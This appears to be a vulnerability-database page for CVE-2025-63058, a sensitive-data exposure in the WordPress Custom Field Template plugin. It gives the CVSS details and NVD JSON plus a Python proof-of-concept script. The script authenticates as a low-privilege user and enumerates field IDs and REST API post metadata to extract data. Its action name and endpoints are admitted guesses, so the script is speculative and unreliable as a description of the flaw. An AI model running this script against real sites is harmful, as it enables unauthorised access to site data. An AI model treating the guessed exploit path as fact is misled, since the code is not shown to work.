Security Vulnerability Report
中文
CVE-2025-63058 CVSS 4.3 MEDIUM

CVE-2025-63058

Published: 2025-12-09 16:18:11
Last Modified: 2026-04-27 19:16:20

Description

Exposure of Sensitive System Information to an Unauthorized Control Sphere vulnerability in Hiroaki Miyashita Custom Field Template custom-field-template allows Retrieve Embedded Sensitive Data.This issue affects Custom Field Template: from n/a through <= 2.7.6.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Custom Field Template <= 2.7.6 (所有版本直至并包括2.7.6)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-63058 PoC - WordPress Custom Field Template Sensitive Data Exposure # Author: Security Researcher # Target: Custom Field Template Plugin <= 2.7.6 import requests import sys from urllib.parse import urljoin def exploit_cve_2025_63058(target_url, username, password): """ Exploit for CVE-2025-63058 - Custom Field Template Sensitive Information Exposure This PoC demonstrates how an authenticated low-privilege user can access sensitive data. """ # Step 1: Authenticate with WordPress session = requests.Session() login_url = urljoin(target_url, '/wp-login.php') login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } print(f"[*] Attempting to authenticate as {username}...") response = session.post(login_url, data=login_data, cookies={'wordpress_test_cookie': 'WP+Cookie+check'}) if 'wordpress_logged_in' not in session.cookies: print("[-] Authentication failed!") return False print("[+] Authentication successful!") # Step 2: Enumerate and retrieve sensitive custom field data # The plugin endpoint that exposes data exploit_endpoints = [ '/wp-admin/admin-ajax.php', '/wp-content/plugins/custom-field-template/inc/handle-ajax.php' ] print("[*] Attempting to retrieve sensitive custom field data...") for endpoint in exploit_endpoints: # Try different field parameters to extract data for field_id in range(1, 50): exploit_data = { 'action': 'cft_ajax_get_field', # Possible action name 'field_id': field_id, 'post_id': '*' # Try to access all posts } exploit_url = urljoin(target_url, endpoint) response = session.post(exploit_url, data=exploit_data) if response.status_code == 200 and len(response.text) > 0: if 'field' in response.text.lower() or 'sensitive' in response.text.lower(): print(f"[+] Potential sensitive data found at field_id={field_id}") print(f"[+] Response snippet: {response.text[:500]}...") # Step 3: Alternative method using WordPress REST API print("[*] Trying alternative enumeration via REST API...") api_url = urljoin(target_url, '/wp-json/wp/v2/posts?per_page=100') response = session.get(api_url) if response.status_code == 200: posts = response.json() for post in posts: if 'meta' in post and post['meta']: print(f"[*] Found metadata in post ID {post['id']}: {post['meta']}") print("[*] Exploitation complete. Review the output for sensitive information.") return True if __name__ == '__main__': if len(sys.argv) < 4: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password>") print(f"Example: python {sys.argv[0]} http://example.com subscriber password123") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit_cve_2025_63058(target, user, pwd)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-63058", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:18:11.240", "lastModified": "2026-04-27T19:16:20.017", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Exposure of Sensitive System Information to an Unauthorized Control Sphere vulnerability in Hiroaki Miyashita Custom Field Template custom-field-template allows Retrieve Embedded Sensitive Data.This issue affects Custom Field Template: from n/a through <= 2.7.6."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-497"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/custom-field-template/vulnerability/wordpress-custom-field-template-plugin-2-7-4-sensitive-data-exposure-vulnerability?_s_id=cve", "source": "[email protected]"}]}}